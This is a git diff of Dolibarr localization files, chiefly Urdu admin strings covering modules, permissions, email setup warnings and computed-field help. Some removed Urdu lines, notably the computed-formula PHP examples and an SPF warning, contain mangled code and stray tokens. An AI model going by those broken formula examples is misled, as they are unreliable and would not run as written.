-InventoryJournal=انوینٹری جرنل +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s اکاؤنٹس diff --git a/htdocs/langs/ur_PK/admin.lang b/htdocs/langs/ur_PK/admin.lang index c90a9fcf68b..424a7fc2563 100644 --- a/htdocs/langs/ur_PK/admin.lang +++ b/htdocs/langs/ur_PK/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=کلائنٹ کولیشن WarningModuleNotActive=ماڈیول %s فعال ہونا ضروری ہے WarningOnlyPermissionOfActivatedModules=یہاں صرف فعال ماڈیولز سے متعلق اجازتیں دکھائی گئی ہیں۔ آپ ہوم-> سیٹ اپ-> ماڈیولز صفحہ میں دوسرے ماڈیولز کو چالو کر سکتے ہیں۔ DolibarrSetup=Dolibarr انسٹال یا اپ گریڈ کریں۔ -InternalUser=اندرونی صارف -ExternalUser=بیرونی صارف InternalUsers=اندرونی صارفین ExternalUsers=بیرونی صارفین UserInterface=یوزر انٹرفیس @@ -147,6 +145,7 @@ Box=ویجیٹ Boxes=وجیٹس MaxNbOfLinesForBoxes=زیادہ سے زیادہ ویجٹ کے لیے لائنوں کی تعداد AllWidgetsWereEnabled=تمام دستیاب وجیٹس فعال ہیں۔ +WidgetAvailable=Widget available PositionByDefault=پہلے سے طے شدہ آرڈر Position=پوزیشن MenusDesc=مینو مینیجر دو مینو بارز (افقی اور عمودی) کا مواد سیٹ کرتے ہیں۔ @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS میزبان (php.ini میں پہلے سے طے MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS پورٹ (یونکس جیسے سسٹمز پر پی ایچ پی میں بیان نہیں کیا گیا) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS میزبان (یونکس جیسے سسٹمز پر پی ایچ پی میں بیان نہیں کیا گیا) MAIN_MAIL_EMAIL_FROM=خودکار ای میلز کے لیے بھیجنے والا ای میل (php.ini میں ڈیفالٹ ویلیو: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=غلطی کے لیے استعمال ہونے والی ای میل ای میلز واپس کرتی ہے (بھیجے گئے ای میلز میں فیلڈز 'Errors-To') MAIN_MAIL_AUTOCOPY_TO= تمام بھیجی گئی ای میلز کو کاپی (Bcc) کریں۔ MAIN_DISABLE_ALL_MAILS=تمام ای میل بھیجنے کو غیر فعال کریں (ٹیسٹ کے مقاصد یا ڈیمو کے لیے) @@ -375,7 +375,7 @@ DoTestSendHTML=HTML بھیجنے کی جانچ کریں۔ ErrorCantUseRazIfNoYearInMask=خرابی، اگر ترتیب {yy} یا {yyyy} ماسک میں نہیں ہے تو ہر سال کاؤنٹر کو دوبارہ ترتیب دینے کے لیے @ آپشن کا استعمال نہیں کر سکتے۔ ErrorCantUseRazInStartedYearIfNoYearMonthInMask=خرابی، اگر ترتیب {yy}{mm} یا {yyyy}{mm} ماسک میں نہیں ہے تو @ آپشن استعمال نہیں کر سکتے۔ UMask=Unix/Linux/BSD/Mac فائل سسٹم پر نئی فائلوں کے لیے UMask پیرامیٹر۔ -UMaskExplanation=یہ پیرامیٹر آپ کو سرور پر Dolibarr کی طرف سے بنائی گئی فائلوں پر بطور ڈیفالٹ سیٹ اجازتوں کی وضاحت کرنے کی اجازت دیتا ہے (مثال کے طور پر اپ لوڈ کے دوران)۔
      یہ آکٹل قدر ہونی چاہیے (مثال کے طور پر، 0666 کا مطلب ہے سب کے لیے پڑھنا اور لکھنا)۔
      یہ پیرامیٹر ونڈوز سرور پر بیکار ہے۔ +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=شراکت داروں اور ان کی تنظیم کی فہرست کے لیے وکی صفحہ پر ایک نظر ڈالیں۔ UseACacheDelay= ایکسپورٹ رسپانس کو سیکنڈ میں کیش کرنے میں تاخیر (0 یا بغیر کیشے کے خالی) DisableLinkToHelpCenter=لاگ ان پیج پر لنک کو چھپائیں " مدد کی ضرورت ہے یا " @@ -439,8 +439,10 @@ Unique=منفرد Boolean=بولین (ایک چیک باکس) ExtrafieldPhone = فون ExtrafieldPrice = قیمت +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = ای میل ExtrafieldUrl = یو آر ایل +ExtrafieldIP = IP ExtrafieldSelect = فہرست منتخب کریں۔ ExtrafieldSelectList = ٹیبل سے منتخب کریں۔ ExtrafieldSeparator=الگ کرنے والا (فیلڈ نہیں) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=چیک باکسز ExtrafieldCheckBoxFromList=میز سے چیک باکسز ExtrafieldLink=کسی چیز سے لنک کریں۔ ComputedFormula=شمار شدہ فیلڈ -ComputedFormulaDesc=ڈائنامک کمپیوٹیڈ ویلیو حاصل کرنے کے لیے آپ یہاں آبجیکٹ کی دیگر خصوصیات یا کسی بھی پی ایچ پی کوڈنگ کا استعمال کرتے ہوئے ایک فارمولا درج کر سکتے ہیں۔ آپ کسی بھی پی ایچ پی کے موافق فارمولے استعمال کر سکتے ہیں بشمول "؟" حالت آپریٹر، اور مندرجہ ذیل عالمی آبجیکٹ: $db، $conf، $langs، $mysoc، $user، $object ۔
      انتباہ : $object کی صرف کچھ خصوصیات دستیاب ہوسکتی ہیں۔ اگر آپ کو ایسی پراپرٹیز کی ضرورت ہے جو لوڈ نہیں ہوئی ہے، تو بس اپنے آپ کو اپنے فارمولے میں آبجیکٹ لائیں جیسا کہ دوسری مثال میں ہے۔
      کمپیوٹیڈ فیلڈ کا استعمال کرنے کا مطلب ہے کہ آپ انٹرفیس سے اپنی کوئی قدر درج نہیں کر سکتے۔ اس کے علاوہ، اگر نحو کی خرابی ہے تو، فارمولہ کچھ بھی نہیں لوٹا سکتا ہے۔

      فارمولے کی مثال:
      $object->id < 10 ? round($object-> id / 2, 2): ($object->id + 2 * $user->, oct (subject)) )

      آبجیکٹ کو دوبارہ لوڈ کرنے کی مثال >rowid: $object->id)) > 0))؟ $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      آبجیکٹ اور اس کے بنیادی آبجیکٹ کو زبردستی لوڈ کرنے کے فارمولے کی دوسری مثال ((a031b$dskf=f$d9b0$bload )) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'پیرنٹ پروجیکٹ نہیں ملا' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=حسابی فیلڈ اسٹور کریں۔ ComputedpersistentDesc=کمپیوٹ شدہ اضافی فیلڈز کو ڈیٹا بیس میں اسٹور کیا جائے گا، تاہم، اس فیلڈ کی آبجیکٹ کو تبدیل کرنے پر ہی قدر کی دوبارہ گنتی کی جائے گی۔ اگر کمپیوٹنگ فیلڈ دیگر اشیاء یا عالمی ڈیٹا پر منحصر ہے تو یہ قدر غلط ہو سکتی ہے!! ExtrafieldParamHelpPassword=اس فیلڈ کو خالی چھوڑنے کا مطلب ہے کہ اس قدر کو بغیر خفیہ کاری کے محفوظ کیا جائے گا (فیلڈ صرف اسکرین پر ستارے کے ساتھ چھپا ہوا ہونا چاہیے)۔
      ڈیٹا بیس میں پاس ورڈ کو محفوظ کرنے کے لیے ڈیفالٹ انکرپشن رول کو استعمال کرنے کے لیے 'آٹو' سیٹ کریں (پھر ویلیو ریڈ صرف ہیش ہوگی، اصل قدر کو بازیافت کرنے کا کوئی طریقہ نہیں) @@ -477,7 +479,7 @@ InstalledInto=ڈائرکٹری %s میں انسٹال ہے۔ BarcodeInitForThirdparties=فریق ثالث کے لیے بڑے پیمانے پر بارکوڈ init BarcodeInitForProductsOrServices=بڑے پیمانے پر بارکوڈ شروع کریں یا مصنوعات یا خدمات کے لیے دوبارہ ترتیب دیں۔ CurrentlyNWithoutBarCode=فی الحال، آپ کے پاس %s ریکارڈ ہے -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=تمام موجودہ بارکوڈ اقدار کو مٹا دیں۔ ConfirmEraseAllCurrentBarCode=کیا آپ واقعی بارکوڈ کی تمام موجودہ اقدار کو مٹانا چاہتے ہیں؟ AllBarcodeReset=بارکوڈ کی تمام اقدار کو ہٹا دیا گیا ہے۔ @@ -501,7 +503,8 @@ WarningPHPMail=انتباہ: ایپلیکیشن سے ای میلز بھیجنے WarningPHPMailA=- ای میل سروس فراہم کنندہ کے سرور کا استعمال آپ کے ای میل کی قابل اعتمادیت کو بڑھاتا ہے، لہذا یہ سپیم کے طور پر نشان زد کیے بغیر ڈیلیوریبلٹی کو بڑھاتا ہے۔ WarningPHPMailB=- کچھ ای میل سروس فراہم کرنے والے (جیسے Yahoo) آپ کو اپنے سرور کے بجائے کسی دوسرے سرور سے ای میل بھیجنے کی اجازت نہیں دیتے ہیں۔ آپ کا موجودہ سیٹ اپ ای میل بھیجنے کے لیے ایپلیکیشن کے سرور کا استعمال کرتا ہے نہ کہ آپ کے ای میل فراہم کنندہ کا سرور، اس لیے کچھ وصول کنندگان (جو پابندی والے DMARC پروٹوکول کے ساتھ مطابقت رکھتا ہے) آپ کے ای میل فراہم کنندہ سے پوچھیں گے کہ کیا وہ آپ کی ای میل اور کچھ ای میل فراہم کنندگان کو قبول کر سکتے ہیں۔ (جیسے Yahoo) "نہیں" میں جواب دے سکتا ہے کیونکہ سرور ان کا نہیں ہے، اس لیے آپ کی بھیجی گئی ای میلز میں سے کچھ کو ڈیلیوری کے لیے قبول نہیں کیا جا سکتا ہے (اپنے ای میل فراہم کنندہ کے بھیجنے کے کوٹے سے بھی محتاط رہیں)۔ WarningPHPMailC=- ای میلز بھیجنے کے لیے آپ کے اپنے ای میل سروس پرووائیڈر کے SMTP سرور کا استعمال کرنا بھی دلچسپ ہے اس لیے ایپلی کیشن سے بھیجی گئی تمام ای میلز آپ کے میل باکس کی "بھیجی گئی" ڈائرکٹری میں بھی محفوظ ہو جائیں گی۔ -WarningPHPMailD=نیز، اس لیے ای میل بھیجنے کے طریقے کو "SMTP" کی قدر میں تبدیل کرنے کی سفارش کی جاتی ہے۔ اگر آپ واقعی ای میلز بھیجنے کے لیے پہلے سے طے شدہ "PHP" طریقہ کو برقرار رکھنا چاہتے ہیں، تو صرف اس انتباہ کو نظر انداز کریں، یا ہوم - سیٹ اپ - دیگر میں MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP مستقل کو 1 پر سیٹ کرکے اسے ہٹا دیں۔ +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=اگر آپ کے ای میل SMTP فراہم کنندہ کو ای میل کلائنٹ کو کچھ IP پتوں تک محدود کرنے کی ضرورت ہے (بہت کم)، یہ آپ کی ERP CRM درخواست کے لیے میل صارف ایجنٹ (MUA) کا IP پتہ ہے: %s ۔ WarningPHPMailSPF=اگر آپ کے بھیجنے والے کے ای میل ایڈریس میں موجود ڈومین کا نام SPF ریکارڈ کے ذریعے محفوظ ہے (اپنے ڈومین نام کے رجسٹرار سے پوچھیں)، تو آپ کو اپنے ڈومین کے DNS کے SPF ریکارڈ میں درج ذیل آئی پیز کو شامل کرنا ہوگا: %s a0a65d071f6f6fz0. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      مثال:
      ایک نیا فریق ثال PageUrlForDefaultValuesList=
      مثال:
      تیسرے فریقوں کی فہرست والے صفحہ کے لیے، یہ %s ہے۔
      کسٹم ڈائرکٹری میں نصب بیرونی ماڈیولز کے URL کے لیے، "کسٹم/" شامل نہ کریں اس لیے mymodule/mypagelist.php جیسا راستہ استعمال کریں نہ کہ custom/mymodule/mypage.list.
      اگر آپ صرف اس صورت میں ڈیفالٹ قدر چاہتے ہیں جب url میں کچھ پیرامیٹر ہو تو آپ %s استعمال کرسکتے ہیں۔ AlsoDefaultValuesAreEffectiveForActionCreate=یہ بھی نوٹ کریں کہ فارم بنانے کے لیے پہلے سے طے شدہ اقدار کو اوور رائٹنگ کرنا صرف ان صفحات کے لیے کام کرتا ہے جو درست طریقے سے ڈیزائن کیے گئے تھے (لہذا پیرامیٹر ایکشن = تخلیق یا پیش کریں...) EnableDefaultValues=ڈیفالٹ اقدار کی حسب ضرورت کو فعال کریں۔ -EnableOverwriteTranslation=اوور رائٹ ترجمہ کے استعمال کو فعال کریں۔ +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=اس کوڈ والی کلید کا ترجمہ ملا ہے۔ اس قدر کو تبدیل کرنے کے لیے، آپ کو Home-Setup-translation سے اس میں ترمیم کرنا ہوگی۔ WarningSettingSortOrder=تنبیہ، پہلے سے طے شدہ ترتیب ترتیب دینے کے نتیجے میں فہرست کے صفحہ پر جاتے وقت تکنیکی خرابی ہو سکتی ہے اگر فیلڈ ایک نامعلوم فیلڈ ہے۔ اگر آپ کو ایسی غلطی کا سامنا کرنا پڑتا ہے تو، پہلے سے طے شدہ ترتیب کو ہٹانے اور پہلے سے طے شدہ رویے کو بحال کرنے کے لیے اس صفحہ پر واپس آئیں۔ Field=میدان @@ -643,11 +646,13 @@ Module2300Name=طے شدہ ملازمتیں۔ Module2300Desc=طے شدہ ملازمتوں کا انتظام (عرف کرون یا کرونو ٹیبل) Module2400Name=تقریبات/ایجنڈا Module2400Desc=واقعات کو ٹریک کریں۔ ٹریکنگ کے مقاصد کے لیے خودکار ایونٹس کو لاگ کریں یا دستی ایونٹس یا میٹنگز کو ریکارڈ کریں۔ یہ اچھے کسٹمر یا وینڈر ریلیشن شپ مینجمنٹ کے لیے پرنسپل ماڈیول ہے۔ +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=ڈی ایم ایس / ای سی ایم Module2500Desc=دستاویز مینجمنٹ سسٹم / الیکٹرانک مواد کا انتظام۔ آپ کے تیار کردہ یا ذخیرہ شدہ دستاویزات کی خودکار تنظیم۔ جب آپ کو ضرورت ہو تو ان کا اشتراک کریں۔ -Module2600Name=API/ویب خدمات (SOAP سرور) +Module2600Name=API / Web services (SOAP server) Module2600Desc=API خدمات فراہم کرنے والے Dolibarr SOAP سرور کو فعال کریں۔ -Module2610Name=API/ویب خدمات (REST سرور) +Module2610Name=API / Web services (REST server) Module2610Desc=API خدمات فراہم کرنے والے Dolibarr REST سرور کو فعال کریں۔ Module2660Name=ویب سروسز کو کال کریں (SOAP کلائنٹ) Module2660Desc=Dolibarr ویب سروسز کلائنٹ کو فعال کریں (ڈیٹا/درخواستوں کو بیرونی سرورز تک پہنچانے کے لیے استعمال کیا جا سکتا ہے۔ فی الحال صرف پرچیز آرڈرز سپورٹ ہیں۔) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP میکس مائنڈ تبادلوں کی صلاحیتیں۔ Module3200Name=ناقابل تبدیلی آرکائیوز Module3200Desc=کاروباری واقعات کا ایک غیر تبدیل شدہ لاگ کو فعال کریں۔ واقعات کو حقیقی وقت میں محفوظ کیا جاتا ہے۔ لاگ ان زنجیروں سے جڑے واقعات کی صرف پڑھنے کے لیے جدول ہے جسے برآمد کیا جا سکتا ہے۔ یہ ماڈیول کچھ ممالک کے لیے لازمی ہو سکتا ہے۔ +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=سوشل نیٹ ورک Module3400Desc=سوشل نیٹ ورکس فیلڈز کو تھرڈ پارٹیز اور ایڈریسز (سکائپ، ٹویٹر، فیس بک، ...) میں فعال کریں۔ Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=انکوٹرمز Module62000Desc=Incoterms کا نظم کرنے کے لیے خصوصیات شامل کریں۔ Module63000Name=حوالہ جات Module63000Desc=ایونٹس کو مختص کرنے کے لیے وسائل (پرنٹرز، کاریں، کمرے، ...) کا نظم کریں۔ -Permission11=کسٹمر کی رسیدیں پڑھیں +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=کسٹمر انوائس بنائیں/ترمیم کریں۔ Permission13=گاہک کی رسیدیں باطل کریں۔ Permission14=کسٹمر انوائس کی توثیق کریں۔ @@ -714,6 +724,7 @@ Permission27=تجارتی تجاویز کو حذف کریں۔ Permission28=تجارتی تجاویز برآمد کریں۔ Permission31=مصنوعات پڑھیں Permission32=مصنوعات بنائیں/ترمیم کریں۔ +Permission33=Read prices products Permission34=مصنوعات کو حذف کریں۔ Permission36=پوشیدہ پروڈکٹس دیکھیں/ان کا نظم کریں۔ Permission38=مصنوعات برآمد کریں۔ @@ -739,6 +750,7 @@ Permission79=سبسکرپشنز بنائیں/ترمیم کریں۔ Permission81=گاہکوں کے احکامات پڑھیں Permission82=صارفین کے آرڈرز بنائیں/ترمیم کریں۔ Permission84=صارفین کے آرڈرز کی توثیق کریں۔ +Permission85=Generate the documents sales orders Permission86=صارفین کو آرڈر بھیجیں۔ Permission87=گاہکوں کے احکامات کو بند کریں۔ Permission88=صارفین کے آرڈرز منسوخ کریں۔ @@ -840,9 +852,9 @@ Permission286=رابطے برآمد کریں۔ Permission291=ٹیرف پڑھیں Permission292=ٹیرف پر اجازتیں مقرر کریں۔ Permission293=کسٹمر کے ٹیرف میں ترمیم کریں۔ -Permission300=بارکوڈز پڑھیں -Permission301=بارکوڈز بنائیں/ترمیم کریں۔ -Permission302=بارکوڈز کو حذف کریں۔ +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=خدمات پڑھیں Permission312=معاہدے کے لیے سروس/سبسکرپشن تفویض کریں۔ Permission331=بُک مارکس پڑھیں @@ -874,6 +886,7 @@ Permission525=قرض کیلکولیٹر تک رسائی حاصل کریں۔ Permission527=قرضے برآمد کریں۔ Permission531=خدمات پڑھیں Permission532=خدمات بنائیں/ترمیم کریں۔ +Permission533=Read prices services Permission534=خدمات کو حذف کریں۔ Permission536=پوشیدہ خدمات دیکھیں/ان کا نظم کریں۔ Permission538=ایکسپورٹ سروسز @@ -937,7 +950,7 @@ Permission1190=(دوسری منظوری) خریداری کے آرڈر کو من Permission1191=سپلائر کے احکامات اور ان کی صفات برآمد کریں۔ Permission1201=برآمد کا نتیجہ حاصل کریں۔ Permission1202=ایکسپورٹ بنائیں/ترمیم کریں۔ -Permission1231=وینڈر کی رسیدیں پڑھیں +Permission1231=Read vendor invoices (and payments) Permission1232=وینڈر انوائسز بنائیں/ترمیم کریں۔ Permission1233=وینڈر انوائس کی توثیق کریں۔ Permission1234=وینڈر کی رسیدیں حذف کریں۔ @@ -968,13 +981,14 @@ Permission3301=نئے ماڈیولز بنائیں Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=تشخیص کی توثیق کریں۔ -Permission4023=تشخیص کو حذف کریں۔ -Permission4030=موازنہ کا مینو دیکھیں +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=ویب سائٹ کا مواد پڑھیں Permission10002=ویب سائٹ کا مواد بنائیں/ترمیم کریں (HTML اور جاوا اسکرپٹ مواد) Permission10003=ویب سائٹ کا مواد بنائیں/ترمیم کریں (متحرک پی ایچ پی کوڈ)۔ خطرناک، محدود ڈویلپرز کے لیے محفوظ ہونا چاہیے۔ @@ -1078,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=یونٹ کی قسم SetupSaved=سیٹ اپ محفوظ ہو گیا۔ SetupNotSaved=سیٹ اپ محفوظ نہیں ہوا۔ +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=ماڈیول کی فہرست پر واپس جائیں۔ BackToDictionaryList=لغت کی فہرست پر واپس جائیں۔ TypeOfRevenueStamp=ٹیکس سٹیمپ کی قسم @@ -1219,7 +1237,7 @@ SetupDescription4= %s -> %s

      یہ سافٹ ویئر SetupDescription5=دیگر سیٹ اپ مینو اندراجات اختیاری پیرامیٹرز کا نظم کرتی ہیں۔ SetupDescriptionLink= %s - %s SetupDescription3b=بنیادی پیرامیٹرز جو آپ کی درخواست کے پہلے سے طے شدہ رویے کو حسب ضرورت بنانے کے لیے استعمال کیے جاتے ہیں (مثلاً ملک سے متعلقہ خصوصیات کے لیے)۔ -SetupDescription4b=یہ سافٹ ویئر بہت سے ماڈیولز/ایپلی کیشنز کا مجموعہ ہے۔ آپ کی ضروریات سے متعلق ماڈیولز کو فعال اور ترتیب دیا جانا چاہیے۔ ان ماڈیولز کے ایکٹیویشن کے ساتھ مینو اندراجات ظاہر ہوں گے۔ +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=سیکیورٹی کے واقعات جن کا آڈٹ کیا جاتا ہے۔ NoSecurityEventsAreAduited=سیکیورٹی کے کوئی واقعات کا آڈٹ نہیں کیا جاتا ہے۔ آپ انہیں مینو %s سے فعال کر سکتے ہیں۔ Audit=سیکیورٹی کے واقعات @@ -1235,11 +1253,13 @@ BrowserName=براؤزر کا نام BrowserOS=براؤزر OS ListOfSecurityEvents=Dolibarr سیکورٹی کے واقعات کی فہرست SecurityEventsPurged=سیکورٹی کے واقعات کو صاف کیا +TrackableSecurityEvents=Trackable security events LogEventDesc=مخصوص سیکیورٹی ایونٹس کے لیے لاگنگ کو فعال کریں۔ منتظمین لاگ ان مینو کے ذریعے %s - %s ۔ وارننگ، یہ فیچر ڈیٹا بیس میں بڑی مقدار میں ڈیٹا تیار کر سکتا ہے۔ AreaForAdminOnly=سیٹ اپ پیرامیٹرز صرف ایڈمنسٹریٹر صارفین کے ذریعے سیٹ کیے جا سکتے ہیں۔ SystemInfoDesc=سسٹم کی معلومات متفرق تکنیکی معلومات ہیں جو آپ کو صرف پڑھنے کے موڈ میں ملتی ہیں اور صرف منتظمین کے لیے دکھائی دیتی ہیں۔ SystemAreaForAdminOnly=یہ علاقہ صرف منتظم صارفین کے لیے دستیاب ہے۔ Dolibarr صارف کی اجازت اس پابندی کو تبدیل نہیں کر سکتی۔ CompanyFundationDesc=اپنی کمپنی/تنظیم کی معلومات میں ترمیم کریں۔ مکمل ہونے پر صفحہ کے نیچے "%s" بٹن پر کلک کریں۔ +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=اگر آپ کے پاس ایک بیرونی اکاؤنٹنٹ/بک کیپر ہے، تو آپ یہاں اس کی معلومات میں ترمیم کر سکتے ہیں۔ AccountantFileNumber=اکاؤنٹنٹ کوڈ DisplayDesc=درخواست کی شکل اور پیشکش کو متاثر کرنے والے پیرامیٹرز کو یہاں تبدیل کیا جا سکتا ہے۔ @@ -1257,6 +1277,7 @@ TriggerActiveAsModuleActive=اس فائل میں محرکات فعال ہیں ک GeneratedPasswordDesc=خود کار طریقے سے تیار کردہ پاس ورڈز کے لیے استعمال کرنے کا طریقہ منتخب کریں۔ DictionaryDesc=تمام حوالہ ڈیٹا داخل کریں۔ آپ اپنی اقدار کو ڈیفالٹ میں شامل کر سکتے ہیں۔ ConstDesc=یہ صفحہ آپ کو پیرامیٹرز میں ترمیم (اوور رائڈ) کرنے کی اجازت دیتا ہے جو دوسرے صفحات میں دستیاب نہیں ہیں۔ یہ زیادہ تر صرف ڈویلپرز / ایڈوانس ٹربل شوٹنگ کے لیے مخصوص پیرامیٹرز ہیں۔ +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=سیکورٹی سے متعلق دیگر تمام پیرامیٹرز یہاں بیان کیے گئے ہیں۔ LimitsSetup=حدود/صحت سے متعلق سیٹ اپ LimitsDesc=آپ یہاں Dolibarr کی طرف سے استعمال کردہ حدود، درستگی اور اصلاح کی وضاحت کر سکتے ہیں۔ @@ -1290,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=آپ کو صارف %s YourPHPDoesNotHaveSSLSupport=ایس ایس ایل فنکشنز آپ کے پی ایچ پی میں دستیاب نہیں ہیں۔ DownloadMoreSkins=ڈاؤن لوڈ کرنے کے لیے مزید کھالیں۔ SimpleNumRefModelDesc=حوالہ نمبر %syymm-nnnn فارمیٹ میں لوٹاتا ہے جہاں yy سال ہے، mm مہینہ ہے اور nnnn ایک ترتیب وار خود بخود بڑھنے والا نمبر ہے بغیر کسی ری سیٹ کے +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=حوالہ نمبر %s-nnnn فارمیٹ میں لوٹاتا ہے جہاں nnnn ایک ترتیب وار خود بخود بڑھنے والا نمبر ہے بغیر کسی ری سیٹ کے ShowProfIdInAddress=ایڈریس کے ساتھ پروفیشنل آئی ڈی دکھائیں۔ ShowVATIntaInAddress=انٹرا کمیونٹی VAT نمبر چھپائیں۔ @@ -1376,7 +1399,7 @@ GetBarCode=بارکوڈ حاصل کریں۔ NumberingModules=نمبر دینے والے ماڈل DocumentModules=دستاویزی ماڈلز ##### Module password generation -PasswordGenerationStandard=اندرونی Dolibarr الگورتھم کے مطابق تیار کردہ پاس ورڈ واپس کریں: %s حروف جس میں مشترکہ نمبر اور چھوٹے حروف شامل ہوں۔ +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=تیار کردہ پاس ورڈ تجویز نہ کریں۔ پاس ورڈ کو دستی طور پر ٹائپ کرنا ضروری ہے۔ PasswordGenerationPerso=اپنی ذاتی طور پر طے شدہ ترتیب کے مطابق پاس ورڈ واپس کریں۔ SetupPerso=آپ کی ترتیب کے مطابق @@ -1430,6 +1453,10 @@ SuppliersPayment=وینڈر کی ادائیگی SupplierPaymentSetup=وینڈر ادائیگیوں کا سیٹ اپ InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=تجارتی تجاویز ماڈیول سیٹ اپ ProposalsNumberingModules=تجارتی تجویز نمبر دینے والے ماڈل @@ -1472,11 +1499,12 @@ WatermarkOnDraftContractCards=مسودہ معاہدوں پر واٹر مارک ( ##### Members ##### MembersSetup=ممبران ماڈیول سیٹ اپ MemberMainOptions=اہم اختیارات +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= ہر ممبر کے لیے لاگ ان کا انتظام کریں۔ AdherentMailRequired=نیا رکن بنانے کے لیے ای میل درکار ہے۔ MemberSendInformationByMailByDefault=اراکین کو میل کی تصدیق بھیجنے کے لیے چیک باکس (توثیق یا نئی رکنیت) بطور ڈیفالٹ آن ہے۔ MemberCreateAnExternalUserForSubscriptionValidated=ہر نئے رکن کی توثیق شدہ رکنیت کے لیے ایک بیرونی صارف لاگ ان بنائیں -VisitorCanChooseItsPaymentMode=وزیٹر دستیاب ادائیگی کے طریقوں میں سے انتخاب کر سکتا ہے۔ +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=میعاد ختم ہونے والی سبسکرپشنز کی ای میل
